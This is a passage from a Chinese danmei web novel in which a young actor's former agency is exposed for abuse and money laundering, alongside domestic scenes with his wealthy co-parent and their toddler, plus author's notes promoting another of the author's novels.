“沈哥!你太客气了,我、我都是举手之劳而已!”郁明殊擅长面对恶意,如此澎湃充沛的感恩回馈让他也有些手足无措。 霍懿安却突然开口:“怎么会是举手之劳?举个手的功夫可做不到这些。” 郁明殊睁大眼睛看他,像是在问:刚刚说做好事不留名、不求回报的人是谁?? 怎么到他这里就不说什么让善意回归本质了?而且他是真觉得他没做什么,真正出钱出力的是霍懿安,他当着霍懿安的面怎么当得起沈铁峰的如此感谢! 而这一刻,一向难通人事的霍懿安却像读懂了郁明殊的无措与无奈。 男人忽地勾唇笑了起来,抱崽退后半步,给沈铁峰让出地方,方便对方好好表达感激之情。 午日的璀璨阳光,正透过干净的玻璃窗斜斜铺入医院走廊,将本就莹润通透如羊脂玉似的郁明殊,照得仿佛是浸在月光里的雪,整个人都白得发光。 此刻的霍懿安无比确认一点,郁明殊比任何人都适合站在光里。 听着两方关于“你有”“我没”的激烈“争执”,再看郁明殊逐渐臊红的耳根脸颊,霍懿安的心情从未有过的好,第一次觉得医院的消毒水气味也没那么刺鼻了。 直到他视线下移,对上了崽子斜眼半眯,从眼角里迸发出的古怪目光。 霍懿安眉头微挑:“……你斜视?” 崽子小坨子攥梆硬,翻了个巨大的白眼:“里才斜细!” 就算大坏蛋偶尔流露出爹地的模样,也绝对不会是他的爹地! 作者有话要说: 西奥多不是来自平行世界,是前世今生崽~最近才发现文案备注不够清晰[求你了]——崽是攻受上辈子的【亲生崽】,这辈子不生啦 ◆推推沙雕养崽完结文《这个男人能嫁吗?[星际]》[让我康康][让我康康][让我康康] 结婚三个月,郁可才发现自己被相亲信息诈骗了—— ·身高195,普通军官(帝国元帅),积极上进(一心造反) ·体魄强健,沉默寡言,性格稳定(稳定不正常,还是个越被打越爽的变态) ·父母双亡,家庭关系不佳(弑父杀兄,全族相残)…… 起初,作为21世纪穿来的防诈小能手,郁可老练分析:没写年龄长相,肯定不是优势项,大概率是个没车没房的大龄普男。 但星际一百岁都是适婚年龄,他没太在意,毕竟军官身体素质一流,两人精神力也匹配,很适合成为共度混乱期的法定伴侣。 见面后发现男人不仅长得帅,还是黑发黑眸黑皮大奶,完美符合郁可穿书前的喜好,两人闪电结婚。 新婚一个月,郁可差点爽成乐可,也只觉得星际军官的身体强健过头了。 直到他以男人之躯怀孕……郁可才发现自己被诈骗了! 黑发黑眸黑皮是假,对方其实是银发红眸的塔斯缇人!还是其中最为血腥杀戮的审判者,更是书中差点毁灭世界的大反派! 郁可捂着肚子连夜跑路。 结果这邪门的种族能让男人怀孕也就算了,竟然还是蛋生…… 郁可薅着男人银发骂骂咧咧产蛋,另一位当事人顾不上将被薅秃:“塔斯缇虽受到恶龙诅咒异于常人,但并不能让男人怀孕生蛋。” 郁可:? 没多久,双黄蛋孵化出两只圆滚滚的小龙崽。 郁可:??? 恶龙竟是我自己?! * 龙族强大暴戾,即便沉睡千年依旧是绝对力量的象征。 传说在失去最后一只幼崽后,龙族便以龙血施下罪恶诅咒,并任其反噬堕入无尽深渊。 直到某天,两声稚嫩的龙吟响起—— “嗷呜~汪~~~” “嗷呜~喵~~~” 乱七八糟的奶龙咆哮宛如两道炙焰击穿黑暗,即将消亡的巨龙们瞬间重燃起来! *攻受365度无死角身心双初恋《 》 50-60 第51章 尹星辰爆料之前,网友们还在集中痛骂陆小南。 尹星辰的爆料一出,网友们一边集火陆小南一边还要抽空吃一口新瓜,可把大家伙累坏了。 尹星辰虽然在国内发展的时间不长,但能选秀出道,都是当初观众实打实一票票投出来的,哪怕已经过了五年,还是有不少人记得他的。 而且尹星辰这些年一直活跃在油管上,国内的一些平台也会经常搬运他的视频,他在国内的粉丝后援会至今没有解散。 再加上皇世娱乐如今也算得上是“炙手可热”,是以消息一出,立即引发全民关注。 皇世娱乐的烂,如今也算“有口皆碑”。 自从郁明殊意外走红,将和皇世娱乐的矛盾掀到明面上,皇世娱乐的现存艺人都相当安静,生怕被牵扯出什么,就连从皇世走出的艺人都不愿与之产生关联。 但现在又一血淋淋的例子主动站出来踢爆真相,这些艺人想默默自保也不能了。 尤其是与黄东凯有过合作的艺人,都被怀疑起曾遭遇过类似的潜规则。 之前就已经有人扒出,皇世娱乐一开始叫“黄氏娱乐”,黄东凯则是皇世娱乐前任大老板最小的儿子,现任老板最小的弟弟。 黄东凯虽然因年龄不占优势,没拿到皇世娱乐的继承权,但黄东凯八十岁的老娘还活着,一母同胞的亲哥哥自然也是对他相当纵容。 甚至有不少人怀疑,黄东凯就是被大哥授权专门做这种勾当的,兄弟俩沆瀣一气,踩着无数漂亮的皮囊、鲜活的生命,靠着钱色交易将原本的小作坊发展到了今天。 尹星辰的自我爆料一出,立即有人盘点起黄东凯带过的艺人。 有像尹星辰这般交钱“赎身”退圈的,但更多还是像郁明殊这种没势力抗衡,也拿不出五百万高额违约金,只能拖着协议苦苦挣扎,最后几乎都落得个精神崩溃割腕坠楼的下场。 能留下的不是疑似被迫同流合污,就是本就有着优渥的家庭背景,黄东凯怕惹麻烦压根不敢乱来的。 而不论哪种情况,与黄东凯有过合作且现在还活跃在线上的艺人,都纷纷发布声明表示自身清白。 为了不被黄东凯的爆雷拖下水,这些人也只能说与黄东凯合作期间并未经历潜规则。 这也不是不能理解,毕竟过去的事情已经过去了,再提旧日伤害除了带来一些同情,更多的还是让这些人沾上洗不掉的污秽。 古往今来,一旦是和美色产生关联的负|面新闻,镜头始终都是聚焦在受害者身上。 大肆讨论之下必然生出无数恶意揣测,这些人好不容易拼搏出的前途也会牵连被毁,这就是客观事实。 而那些付出生命代价的受害者,即便想站出来指控却也做不到,所以张秘书从一开始只打算以此为引线,将场子炒热炒爆。 但他没想到的是,随着第二波已经退圈的受害者家属的爆料引发新一轮的热议,影后叶可昕会站出来实名举报黄东凯曾对自己下药性|侵。 之后还用她的不雅照百般威胁,以至于她身心遭受重创。 即便成功脱离皇世娱乐,这些年也一直靠着大量精神类药品勉强维系。 也正因如此,事业前途对她来说都抵不上黄东凯多年来对她造成的巨大折磨。 虽然她保留了不少黄东凯侵害威胁的证据,但之前怕自己势单力薄,怕即便报警最后也会因顾及家人安全和演艺事业不了了之。 现在皇世娱乐出现颓势,又有全网的舆论监督,叶可昕就算拼着被染上污名,也趁势要站出来指控黄东凯的恶行。 张秘书被叶影后的勇气深深打动,立马用老板的钱替她买了最贵的推广。 不同于用钱解约避免伤害的尹星辰,黄东凯对叶可昕侵害是实打实的刑事犯罪。 如今皇世娱乐深陷舆论漩涡,曾经他们加诸于手下艺人身上的脏水黑料,这次也都一股脑地被掀了出来,悉数被炸回皇世娱乐身上,他们本就自身难保。 现在叶可昕带着确凿证据站出来指控,皇世娱乐也只能弃车保帅。 而且叶可昕行动力惊人,发完微博不到半小时就将新鲜出炉的报案回执放上了网。 A市警方的行动也相当迅速,黄东凯正在家里指天骂地要找人弄死叶可昕,人就被突然上门的警察拷走了。 又因着张秘书已经将此前挖到的资料交给了警方,黄东凯的手机电脑等电子设备,以及书房留存的一切办公资料也都作为涉案物品被全部带走。 黄东凯作恶多年却从未翻车,从前有亲爹护着,之后又有沆瀣一气的亲哥,早就习惯拿捏艺人明星生死大权为所欲为,从没想过这些由他经手的漂亮小面人儿们会翻出什么浪花。 毕竟在他看来,十个有九个都“脆弱”得很,傲骨难折也可以下药逼疯,再不济也能弄死伪造自杀。 郁明殊算是其中特例,一方面是郁明殊长得实在太值钱了,另一方面也是薛德茂一直没放弃将其驯服,始终没下重手。 换做别人,根本不会让他有机会挣扎这么久,早就吃干抹净榨干最后一滴价值,成为永远无法替自己申辩的森森白骨。 也亏得是黄东凯足够狂妄自大,不仅作恶多端,还颇为变态地将自己迫害艺人的过程,都分门别类的记录了下来。 至于张秘书一直关注的薛德茂利用皇世娱乐洗钱的证据,也顺藤摸瓜被翻出来许多,皇世娱乐即便想弃车保帅都不能了。 当晚就有消息传出,黄氏兄弟不仅长期逼迫手下艺人进行钱色交易为公司拉资源,还反过来威胁他们通过阴阳合同替薛德茂洗钱。 一人多吃,敲骨吸髓,不外如是。 影后叶可昕自然是全都知悉,但她没想到这一次竟然能成功把薛家、甚至是薛家老爷子薛德茂都牵扯进来,从一开始就只提了这些年被黄东凯迫害一事。 她甚至没指望能直接扳倒皇世娱乐,以为能将黄东凯送进去,未来彻底不在受制于人就是最好的结果。 全网震惊的同时,郁明殊看到新闻后同样吃惊,而他这边还有张秘书拿到的更为全面详尽的一手消息。 郁明殊知道自己不是第一个,但因他一直没服过软,从未被当成过自己人,黄东凯就算对他威逼利诱,也只会说那些飞黄腾达的例子,比如叶可昕。 而皇世娱乐和薛家的手段,远比他想象中更加肮脏龌龊丧尽天良。 竟然会给抵死不从的人强灌过量的精神类药剂,再趁着药效发作无力抵抗的时候将人推下高楼,制造抑郁跳楼假象。 郁明殊突然想起曾经的同学露娜。 虽然退学前,女生明确说过恨他出手干涉,希望郁明殊以后再也不要多管闲事,她最后悔就是和他成为朋友,转学后也不要再联系了。 但也许是露娜忘记删除邮件好友,郁明殊还是在其死后收到了露娜父母寄送的讣告……露娜也是因严重抑郁选择跳楼…… 不,不应该……虽然皇世娱乐明摆着就是薛家爪牙,这也是皇世娱乐的惯用手段,但当时薛景灿早已出国,薛德茂没理由继续盯着露娜非要让她死。 露娜也的确一直在服用抗抑郁的药剂,但就像他会在看完那些惨烈的例子后会突然想到露娜一样,郁明殊总是下意识觉得露娜明明已经脱离迫害,不该那么快就出事。 思绪围绕这个解不开的谜题打转,郁明殊很难不想起一些他不愿回忆的旧日记忆。 而伴随着那些阴暗痛苦的回忆,一并涌起的是郁明殊无法克制的呕意。 崽子在回来的路上就睡着了,此刻正蜷缩在被子里紧贴着郁明殊。 郁明殊怕把孩子吵醒,强忍呕意先用抱枕替代自己,然后才轻手轻脚挪动下床。 脚刚落地,熟悉的敲门声响起。 虽然这两声短促轻浅的“笃笃”,并非他与霍懿安提前定好的暗号,但郁明殊衡量了一下自己的反胃程度,和霍懿安的难搞程度,没怎么迟疑就选择掩唇开门。 郁明殊想的是开门既可以阻止霍懿安继续吵崽,他也能去外面的卫生间吐,不然用屋里的卫生间也需要开关门,而且一道门的隔音效果肯定不如直接用外面的。 没曾想,门一打开郁明殊的呕意突然爆发,他死咬牙关想推开霍懿安,但他忽略了霍懿安不仅非常高大,西装外套之下包裹的都是结实的肌肉块。 门口哪里是站了个人,完全是立了一个接近两米的巨大秤砣,直接将郁明殊挡了个结结实实。 偏他现在还无法开口严明,而霍懿安又一向看不懂眼色…… 他只看到郁明殊惨白着一张脸,憋得眼眶通红,以为他又被薛德茂那个老不死的打电话刺激到了,自然不可能放任郁明殊独自发抖惊惧,万一像凌晨那次引发呼吸性碱中毒怎么办? 最后,郁明殊实在挣脱不开,就只能吐在霍懿安身上了。 霍懿安:“…………” 郁明殊晚上没胃口,加之崽子一直在睡觉,他也就略过了晚饭,所以吐的基本都是水。 但他是经历过崽子尿爹全过程的,当时霍懿安像个二踢脚似的原地弹飞,直接摔倒嵌入他家那一平米的“浴室”里。 郁明殊已经做好直面一切的准备了,没曾想霍懿安脸黑了又黑,一开口却是对另一件事的指责。 霍懿安指着西装外套上的透明液体质问:“这就是你告诉我的,已、经、吃、了?!” 郁明殊:“……” 重点是这个吗? 难道相较于被吐一身,霍懿安更难以忍受欺骗?不然总不能是关心则乱吧:) 郁明殊漱完口出来,霍懿安已经将灰咖色的西装外套和马甲都交给酒店工作人员处理。 原本是偏矜贵老钱的装扮,如今上半身只剩一件极显肌肉轮廓的白衬衫,两侧袖口还被他挽起,露出结实有力的小臂。 男人见郁明殊出来,就立即铁塔一般堵了上去。 虽然多日的相处,郁明殊已经逐渐习惯,但巨大的身高身形反差,扑面而来的强烈男性气息,以及郁明殊不久前冒出的胡思乱想,都让他难以抑制地心跳加速,面皮发热。 郁明殊偏开脸:“您、你不用回去洗澡吗?” 他可是清晰记得,霍懿安之前被崽子尿了,立即就在他家脱成全|裸雕塑。 霍懿安冷嗖嗖盯了他一眼,先翻转手机展示来自亲妈的高强度骚扰:“这是她的新手机,问我要你的联系方式,你同意给吗?可以拒绝。” 因着两人本就离得很近,霍懿安几乎是把他抵在门上,手机也是直贴郁明殊脑门的,他根本看不清具体内容。 郁明殊有些无语但还是说道:“我同意。” 霍懿安轻啧了一声,才有些不甘愿地把郁明殊的号码发给亲妈,同时提醒郁明殊两边间隔的巨大时差:“白天不要跟她聊,她现在不能熬夜,晚上你该睡睡,别被她影响睡眠。” 郁明殊点点头。 霍懿安放下手机继续盯着他,不尴不尬地盯了片刻突然说道:“脸有点红发烧了?” “你不是被薛德茂恶心吐的?薛德茂没给你打电话?” 郁明殊:“……没有,只是胃有点不舒服。” 听他这么回答,霍懿安的脸色更冷了两分。 在霍懿安视角看来,就是郁明殊因胃不舒服晚上难受的连饭都没吃,但不仅骗他吃了,还难受到吐他身上。 这简直罪无可恕! 霍懿安薄唇紧抿深吸气原地晃了两步,就在郁明殊刚以为五指山终于挪开他可以喘口清凉空气时,手臂就被男人一把攥住,紧接着人就被带飞。 郁明殊一脸莫名:“这是干什么??” 霍懿安瞪了他一眼:“当然是上医院。” “可我没病……” 霍懿安气笑了:“你没病,刚才是我吐的?” 实际上郁明殊吐完就不怎么难受了,之后的注意力又都被存在感极强的霍懿安占据,现在完全没有半点不适。 “只是胃有点不舒服,都是老毛病了。”郁明殊试图停下脚步。 结果霍懿安一听脸色更黑了,深邃蓝眸直放冷箭:“老毛病更该早治疗!” 接下来郁明殊别说刹停了,感觉自己像是被霍懿安扽紧的风筝,一路被男人拉进车里。 虽然郁明殊一点不觉得紧急,霍懿安去连司机都顾不上叫,亲自驱车将他载到了医院,还让人提前把专家从家里薅了过来。 老专家本就是返聘的,年纪一把也见过许多大风大浪,以为是有什么十万火急的情况,结果紧急赶到却发现诊室里的两人都没有一点病态。 唯一特别的……大概就是两人都长得特别帅。 作者有话要说: 老专家:? 第52章 事实证明,郁明殊的胃没什么实质问题,只是作为情绪器官,多受情绪波动影响。 老专家药也没开,只是让郁明殊好好睡觉,夜里如果渴了,可以喝点温凉的电解质水,不渴也没必要硬喝,近期多吃些好消化的食物即可。 即便如此,霍懿安仍不觉得自己的行径有多么夸张,面色如常将郁明殊又带回酒店,期间还一本正经询问除了被他撞见的两次,郁明殊是否经常手抖胃痛过度呼吸。 “没有了,就那两次比较严重。” 郁明殊老实交代,霍懿安却在红灯期间抽空瞥了他一眼,显然是不太相信。 郁明殊从小到大就没被人好好对待过,不然也不可能生病时被养母抱着哭的画面被他记了十几年。 放在别人身上可能无法接受这种过度夸张的关怀,尤其是面对得知他只是吐了一口水的老专家时,但郁明殊尴尬之余还是倍感熨帖。 仔细想来,他从霍懿安身上实在获得了太多,仿佛老天爷特意派了个人,要将他此前遭遇的不公和亏欠全都补足…… 郁明殊垂下眸子,恰好看到了亮起屏幕上弹出的数条最新消息,都是霍云轻女士发来的。 正常来说这个时间他已经睡了,可以不查看不回复,但他还是在发现的第一时间将其点开,快速浏览后露出一个释然的微笑。 霍云轻其实有非常严重的免疫性罕见病,一不小心可能会危及生命,之所以要严防蒿属花粉,就是怕过敏问题会将好不容易平复下来的免疫系统重新激活,不然也不可能每年都错过老父亲的寿宴。 霍父不仅为妻子组建了最专业的医疗团队为她护理,甚至家里都单独修了一栋医院方便她入住调养,每年都投入大量资金推进靶向药的研发。 但霍云轻从小体弱多病习惯了,也不把这病当什么很严重的事,所以对郁明殊说的都是丈夫太过夸张,她只是稍微有点过敏就把她押入“医院”。 又因着免疫问题很受睡眠影响,准确来说霍云轻现阶段也不适合太兴奋,最好是平平稳稳地等待免疫系统重新安定下来,所以还把她的手机没收了。 虽然霍云轻很快就搞到了新手机,但因着要通过霍懿安获取郁明殊的号码,她还是和儿子签订了不平等条约,霍懿安虽然同意替母亲保密,但前提是母亲不能因手机影响睡眠。 而这些事经霍云轻一番添油加醋,发给郁明殊的版本就成了她只是打了几个喷嚏,就被丈夫关进医院没收手机。 郁明殊看完顿时清醒不少,看来霍懿安这么夸张都是随根。 虽然霍懿安给他带来了太多意想不到的帮助,但他也该清楚,霍懿安本就是很好的人,并非他有什么特殊之处。 郁明殊这么想着,心绪很快平和下来。 一直到霍懿安十分自然地跟着走进了爸崽房间,郁明殊才迟疑问道:“你不放心嘟嘟?” 霍懿安怔了千分之一秒,随即凝重颔首:“我看看他。” 郁明殊想到了什么,神色也严肃了一些:“你也觉得嘟嘟最近有点不对劲是吗?” 霍懿安蹙着眉又点了点头,心里想的却是:天天能吃能睡,还不给他一点好脸色……到底是哪里不对劲了? 郁明殊认真说起来:“就是那天你跟他单独谈话后,他晚上做了噩梦,从那以后突然变得很能睡,但又很容易睡得不踏实。” 不仅沾床就着,像今天回来的路上,崽子刚坐进两人之间的安全座椅也就两三分钟的时间,就小脑袋一歪睡沉了。 但郁明殊观察了几天,刚睡着的前两个小时,小家伙都是很容易醒来的,所以他在这段时间是不能离开崽儿的。 今晚也是在崽子睡沉后,他才和霍懿安去的医院,离开的时间里,他也一直关注着房间里的儿童监控是否弹出提示,怕的就是小家伙醒来见不到他又会难过。 除此之外,郁明殊还发现崽子的睡姿发生改变,以往要么是紧扒在他怀里,要么是四仰八叉酣甜歪睡。 但现在经常是睡着睡着就变成侧身蜷缩,即便郁明殊给他调整成其他睡姿,醒来时也会变回蜷缩状态。 郁明殊在网上查询过,有说这是缺乏安全感的表现,也有说这是常见的生理本能,因为人在胎儿时期就是这么蜷缩着睡的。 还要结合其他一并判断,比如白天过分黏人,夜里时常惊醒。 但前者的情况崽子一直存在,并非突然改变,而后者也不算符合,加上崽子白天精神状态和饮食都十分正常,所以郁明殊才选择继续观察。 没想到霍懿安同样是个粗中有细的好爸爸,哪怕不似他这般朝夕相处,也察觉出崽子近几日的小小异样。 霍懿安听完静默片刻,他既没法明说崽子的确是被他吓到了,也没法解释他之所以跟进来,其实是双腿有了自己的意识,他一个晃神就跟着走了进来。 刚好两人站到床前,也不适合再说话了,霍懿安就陪着郁明殊静静欣赏了十几分钟,所谓崽子缺乏安全感的睡颜。 结果只有一个感受,这小子睡得比他好多了! 他现在每晚都需要靠一种很邪门的方式入睡,更别说两人站了一会儿,郁明殊突然低声感叹了一句:“嘟嘟太可爱了,像小天使~” 霍懿安:“……” 以爸崽二人高度相似的五官,这和自夸有什么区别? 这么想着,霍懿安视线熟练往郁明殊脸上偏了偏,还是配合地颔了颔首。 ……比天使漂亮。 * 霍懿安没看出崽子有什么问题,三更半夜也就没理由继续待下去。 回到房间后,他先在床上直挺挺躺了一个小时,确定自己依旧无法自主入睡,才不得不打开那个邪门的视频。 很快,那句就要让霍懿安耳朵听起茧的“喝奶就喝萌礼喔~在萌礼喝萌礼!~”再度响起,手机屏幕上正是欢乐软萌的五岁小明殊。 霍懿安再是不愿承认,甜糯柔软的童音一响起,他过度活跃的脑神经就会迅速得到安抚,浑身的细胞都会随之放松下来。 霍懿安尝试换过其他同等无聊的广告,甚至将这些年的国产牛奶广告全都找出来试了一遍,到头来有用的依旧只有郁明殊拍摄的这一条广告。 霍懿安也想过测试其他变量,但他想了一圈身边也只有亲妈存在睡眠问题,可他如果把郁明殊的广告发给对方催眠,第二天一早霍云轻就会闪现回国。 所以他选择催张秘书,尽快给郁明殊接个广告,以郁明殊现在的热度无需担心播放量,介时肯定有大批民众上网反馈郁明殊自带特殊的安眠效果。 总归是没有一丝对自己的怀疑。 抱着这样的想法,霍懿安再一次听着“安眠药”入睡。 凌晨四点半,霍懿安不仅先于晨勃时间醒来,还第一时间冲进了浴室。 冲洗冷水澡的时候,脑中依旧满是梦中场景。 霍懿安脸色黑得五彩斑斓,一直到半小时后才完全冷静下来,他不得不怀疑……一定是睡前听郁明殊天使来天使去,他才会梦到欧洲壁画版本的半裸天使郁明殊坐在他身上! * 郁明殊搂着香香软软的乖崽醒来,就看到张秘书发来的最新消息,萌礼牛奶发来广告邀约,希望他可以趁热度重现一遍当年的广告。 实际上想找郁明殊拍广告的厂商不少,但他现在属于空有热度没有作品,而霍懿安签他也不是为了赚快钱的,张秘书自然替他全推了。 目前正在和主动找上门的商业片大导谈合作,虽然大导主要看上的是郁明殊的人气流量和长相潜力,但张秘书还是觉得郁明殊的人生经历同样极具改编价值。 不过这个项目即便谈成了,从立项到敲定剧本正式开拍起码要三五个月的时间,刚好足够彻底解决和皇世娱乐之间遗留的协议纠纷。 不过现在皇世娱乐眼看着要组团入狱,根本无力纠缠郁明殊,即便如此,张秘书从长远考虑,签约后的第一个广告还是选择和霍氏旗下的萌礼牛奶二度合作。 一方面是萌礼牛奶如今是国民大品牌,当年的第一支广告正是郁明殊的出道首秀,不仅有着极高的品牌价值,还有着特殊的情怀意义。 另一方面也是因萌礼是霍家产业,哪怕皇世娱乐背靠薛家百足之虫死而不僵,还能蹦出来搅局,也绝对不可能让郁明殊吃一点亏。 霍懿安催得太急,郁明殊同意拍摄的第二天,就带崽来到了暌违十五年的萌礼欢乐世界。 美其名曰是萌礼牛奶不愿错过网友们的考古热潮,想趁着郁明殊正式开学前把十五年后的复刻版广告拍出来。 郁明殊不疑有他,还特意给崽子换上了当年广告里类似的小衬衫、背带短裤和鸭舌帽。 别说一向对崽反馈强烈的郁明殊了,霍懿安都看愣了一瞬。 不得不说,帽子一遮,眼前的小家伙和当年的郁明殊唯二不像的只有瞳色,和一身过于圆润的小奶膘。 霍懿安略显怔然地看着贴贴不停的爸崽二人,直到郁明殊亲着崽子的小脸蛋发出由衷感叹:“爸爸的嘟嘟是世界上最漂亮的小天使!~” 一听“天使”,霍懿安脑中就自动载入梦中郁明殊的半裸天使形态,驱都驱不散,霍懿安只能偏开脸深呼吸抿唇,片刻后挺直脊背,将双腿交叠,双手故作轻松地扣在腿上。 看似一切如旧,依旧是那般不动声色游刃有余,实则心中已经念起了从前不屑一顾的经文。 霍懿安从未想过,当年捏着鼻子尽孝陪外婆诵读的经文,如今会有如此效用…… 心里乱七八糟念着,长腿相当主动自觉地跨上了车。 郁明殊迟疑一瞬,还是没将“你也要跟着去???”说出口,只当霍懿安是为了尽共同抚养之责,不想错过崽子的游乐园初体验。 不过他还是没忍住多看了霍懿安一眼,刚好撞上霍懿安习以为常盯过来的视线。 郁明殊很想问他每天到底在看什么,但又觉得霍懿安应该不会是故意盯着他看,可能只是随便给视线找个焦点。 正这么想着,霍懿安就先开口了,一如既往冷淡且十分理所应当:“你看我做什么?” 郁明殊:“…………” 崽子刚系好安全带,闻言立即展开小李飞刀:“(#▼皿▼)! ” 一句话没说,但已经用那双酷似郁明殊的湛蓝桃花眼“骂”起来了:看里几么辣!! 实际上霍懿安跟过来拍摄也是临时起意,但因着考虑崽子会24h黏着郁明殊,所以一早就签了相当全面的保密协议,霍懿安跟着去也不打紧。 不过快到拍摄现场前,霍懿安接起电话脸色一肃,就没跟爸崽一起下车。 郁明殊昨天早上同意,中午就顺利签约,当时就和导演见过面了,崽子自然也在场。 导演当时就惊喜地不得了,今天看到崽子穿着和当年小明殊同款装扮,忍不住又问了一遍:“真不能让孩子跟你一起拍吗?” 除了一双蓝宝石般的眼瞳不同,这崽简直和郁明殊小时候一模一样,一起拍肯定效果极佳! 郁明殊再次笑着婉拒了,导演只能惋惜摇头,又说:“昨晚我们想了新噱头,要不这次拍摄也跟当年一样,不化妆直接拍怎么样?” 虽说是噱头,但也不是谁都能做到的,一般人素颜上镜都会被放大缺点,而且镜头吃妆,肉眼看着好看的素颜上镜也会被显得气色极差。 除非本身就长得跟化过妆一样,肤色瓷白均匀,眉无需修饰便天然墨色横斜,眼睫纤长浓密,天生的双C阴影线和眼头提亮……也就是郁明殊本人的长相。 他唯一的缺点是唇色太淡,气血也不是很充足,但拍摄时抿一抿就好了,饱满柔和的花瓣唇画都画不出来。 郁明殊不喜欢粉底糊脸的感觉,也乐得同意,而且他当年拍广告的时候的确就没化妆,既然要拍成年后的复刻版,的确也不该化妆。 * 霍懿安忙完已经是一小时后的事情。 虽然算是变故陡生,针对薛家那些还未来得及执行的计划全都要大改,但“薛德茂突然死于第六次肾移植排异反应”的消息,到底也是个值得和郁明殊分享的喜讯。 抱着这样的想法,霍懿安第一时间迈步下车。 5.4的好视力让他迅速锁定了郁明殊的位置,随即神色一怔,对方正站在一座巨型滑梯背面。 虽然游乐场会定期分区翻修改建,但霍懿安还是一眼就认出此刻郁明殊身后的,正是当年他们一起避风的那座巨型滑梯。 霍懿安长眸微眯思绪翻涌之际,膝盖突然被捶了一拳,低头对上与五岁小明殊八分相似的同款崽子,霍懿安又是一恍惚。 而比他更恍惚的是一旁帮忙送崽的导演助理。 女生先是看了看崽子那双湛蓝桃花眼,以及帽子边缘露出的淡金色发丝,再抬头看看眼前高大英挺的混血男人,又忍不住回头看了眼郁明殊,心里顿时划出一串问号。 霍懿安蹙眉对崽问道:“过来做什么?” 崽子撅嘴:“拔拔让窝来找里!” 话音未落,崽子突然想到了什么,小嘴一抿难得对霍懿安露出些许好脸色。 随即指着霍懿安脖子上的“看爸黄金位”,崽勉为其难夹了夹嗓子:“爹地!宝要骑大马!~” 一旁的小助理闻言,差点没将眼珠子瞪出来:爹地???演都不演了是吗!!!! 作者有话要说: 西奥多(叉腰):今天系能屈能伸宝![奶茶] 第53章 虽然一开始他们毫无关系时,他没少被这崽叫爹地,但收养至今有了法律上的父子关系,这还是崽子第一次叫。 事出反常必为妖,尤其是这只“劣迹斑斑”的小臭崽。 霍懿安已经看透了,多半是他不知何时又惹到这个一身雷点且报复性极强的小东西了:“你想往我脖子里尿?” 前一秒还软萌嗲甜的小乖崽瞬间暴走,一边小李飞刀,一边奶音咆哮:“才米有!!!” 虽然萌礼欢乐世界因拍摄临时停业一天,现在整个乐园都只有他们,但拍摄开始前的准备阶段,现场是很吵闹的。 郁明殊离得又相对较远,崽子无需担心被爸爸看到不好的一面,没直接倒地撒泼都算他收敛了。 崽子可太愤怒了,大坏蛋太坏了,几么能介么想他?! 他只是一个想坐得更高、看得更清楚的爱爸小崽崽啊! 而且上次他是米有办法! 他原本也是个讲卫生懂礼貌的好宝宝!只是当时……特殊情况而已,大坏蛋几么能介么看他!!! 被崽用英文小怒音叽里呱啦吼了一通后,霍懿安知道他这次是误会了这只两副面孔的双标崽子了。 是以在崽瘪着小嘴气呼呼张开小短胳膊,“小人大量”再次给予他表现机会时,霍懿安伸出一双强有力的大掌,伸到崽子腋下将小家伙稳稳托起。 气成河豚的崽子神色稍缓,一想到一会儿他就能骑在大坏蛋头顶看他的宝贝爸爸拍广告啦,小心情一下就美起来了。 然而笑容还没停留一秒,他双脚就再一次“着陆”。 崽子愣眉愣眼看向脚下的金属车顶,对着难得能俯视的大坏蛋臭叔叔爹缓缓打出一个问号:? 对方竟然宁愿把他放到车顶上,也不愿让他骑大马……难不成还是在怀疑他?! 更可恨的是霍懿安对自己这番安排颇为满意,冰块脸上浮现一丝得色,见崽小表情扭曲一瞬,甚至勾唇一笑:“怎么?没机会乱尿失望了?” 崽子顿时气得桃花眼瞪滚圆,呼吸急促眼球震颤。 新仇旧怨瞬间叠加,本就是被全家千娇万宠长大的西奥多能忍吗?当然不能! 他几乎想都没想,怒火烧穿小脑花下意识就踢出小短腿——经过上次绊人不成反被踩的失败案例,崽子已经将“绊人小短腿”升级为“扫堂小短腿”! 崽子脚下豪车高度一米六五,他蹲身扫堂刚好直击霍懿安面门。 然而他还是错估了自己的两岁半的“大长腿”,不仅长度堪忧,稳定性也差了一大截。 一腿扫出去,小胖脚勉强刮上了霍懿安面部最为突出的鼻尖位置,不仅如此,还因扫腿的后坐力给自己原地摔了个小腚墩。 崽:“………” 霍懿安嗤的笑出了声。 崽:“!!!!” 崽子没哭,在哪里摔倒就在哪里坐下,他黑着一张小胖脸,坐在车顶若无其事看向不远处的爸爸。 不过仔细看的话,还是能发现小家伙眼眶隐隐泛红的。 倒不是因为摔痛了,大概是小屁股格外圆润防摔,崽子没怎么摔痛,眼眶红了完全是被自己和坏蛋臭叔叔爹气的! 但勇敢崽崽不怕困难,这份屈辱,他小崽崽暂时忍了! 被崽子这么一打岔,霍懿安再看向郁明殊时也不在恍惚了,而是长眸微眯目光灼灼,十分愉悦认真地欣赏起来。 * 同一时间,薛氏掌权人薛德茂抢救无效的消息也传到了网上。 换做是其他人的死讯,哪怕再是微不足道的小人物,都会有好心网友发【蜡烛】和【RIP】来表达哀悼之情。 但对于薛德茂的死讯—— 【这是喜事啊!!】 【卧槽死了???早特么该死了你个老鸡巴登!】 【死又怎么了?有我惨吗?甲流刚好几天就支原体感染[大哭]】 【那你确实更惨一点,戴好口罩啊宝!】 【死的好死的妙死的呱呱叫![鼓掌][鼓掌]】 【只有我共情了吗……排异反应干的漂亮!老登虽然是个畜生,但身上的免疫系统还是挺不错的~】 【死,都死,死点好啊!黄东凯两兄弟呢!不考虑陪一个吗?】 但吃瓜群众谩骂之余也不免心生疑问。 因着尹星辰直播爆料时就点名了皇世娱乐要他讨好薛德茂,之后更是曝出皇世娱乐搞阴阳合同洗钱偷税也是跟薛家紧密捆绑的。 薛德茂这个集团董事长,几乎是瞬间便从德高望重的薛家家主,变成全网口诛笔伐的老不死的。 一把年纪仗着薛家权势乱搞潜规则害人已经够恶心的了,这老登竟然还专挑漂亮男人下手! 既让人恨得牙痒,又因性向特殊而格外引人注目,所以一经踢爆就有许多网络福尔摩斯行动起来。 薛老登的基本生平也很快被扒了出来,当年不仅靠联姻换取妻族利益,这些年还因没有再娶,成了富豪圈子里重情重义的好男人典范! 【吐了!真是恶心他妈给恶心开门,恶心到家了!】 【这骗婚死gay!要不是被尹星辰曝光,这辈子还真被他演过去了!】 【发妻在独子五岁时病故?该不会是发现老登喜欢男人气死的吧?好惨一名门大小姐啊!!!】 【难怪儿子孙子都常年定居国外!怕不是被这恶心老东西气跑的!】 …… 